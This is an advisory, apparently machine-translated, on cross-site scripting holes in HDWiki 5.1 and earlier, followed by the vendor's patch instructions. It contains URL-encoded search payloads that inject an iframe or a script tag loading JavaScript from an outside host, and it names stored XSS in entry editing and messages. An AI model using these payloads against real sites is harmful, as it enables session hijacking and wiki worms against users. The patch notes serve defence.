Interactive Wiki (5.1 and below) various types of xss 0-day

Supports csrf, hijacking of the home page, worms, and so on.
For details, xss can hijack the home page because of occasional reasons to find that cog has a wiki. It is found that its wiki version is hdwiki version 5.1. So we tested other hdwiki and found the same xss problem.
The problem is summarized as follows.
1. hdwiki searches for non-persistent xss, such:
A http://www.bkjia.com/index. php? Search-fulltext-title-% 5C % 22% 3E % 3 Ciframe % 2 Fsrc % 3D % 2F % 2 Ftmxk % 26% 2346% 3 Borg % 3E -- all-0-within-time-desc-1

 

A http://www.bkjia.com/index. php? Search-fulltext-title-% 5C % 22% 3E % 3 Cscript % 2 Fsrc % 3D % 2F % 2 Ftmxk % 26% 2346% 3 Borg % 2Fq % 26% 2346% 3Bjs % 3E -- all-0-within-time-desc-1
A http://www.bkjia.com/index. php? Search-fulltext-title-TAG % 3A % 5C % 22% 3E % 5C % 27% 3E % 3 Ciframe % 2 Fsrc % 3D % 2F % 2 Ftmxk % 26% 2346% 3 Borg % 3E -- all-0-within-time-desc-1

 

2. Storage-type xss for editing hdwiki entries,
A http://www.bkjia.com/index. php? Doc-view-1572
Http://www.bkjia.com/thread-625-1-1.html
The entry title, entry tag, and entry content are not filtered by the server.

 

 

 

3. Stored xss for hdwiki messages

Solution:

Filter various submissions, repair editors, and patches.
Author random _

Official solution:

Vulnerability 1. Stored xss vulnerability in hdwiki edit entry
2. Non-persistent xss vulnerability in hdwiki search
3. Arbitrary HDWiki User Password Modification Vulnerability
Note: Back up the code in advance. If you have performed secondary development, please compare the code and proceed with caution.
Repair procedure:
1. Download the attachment patch package of your corresponding encoding version to your local device and decompress it.
2. Copy doc. php, user. php, and reference. php In the attachment to/control/(overwrite the original file)
3rd (this step is only targeted at the editor.htm in the hdwiki5.1app app, viewdoc.htm to/view/default/(overwrite the original file)
4. Copy hdwiki. js in the attachment to/js/jqeditor/(overwrite the original file)
5. (This step is only for users of version 5.0UTF8) Copy install. php In the attachment to/install/(overwrite the original file)
The post content is as follows: http://kaiyuan.hudong.com/bbs/viewthread.php? Tid = 115225 & extra = page % 3D1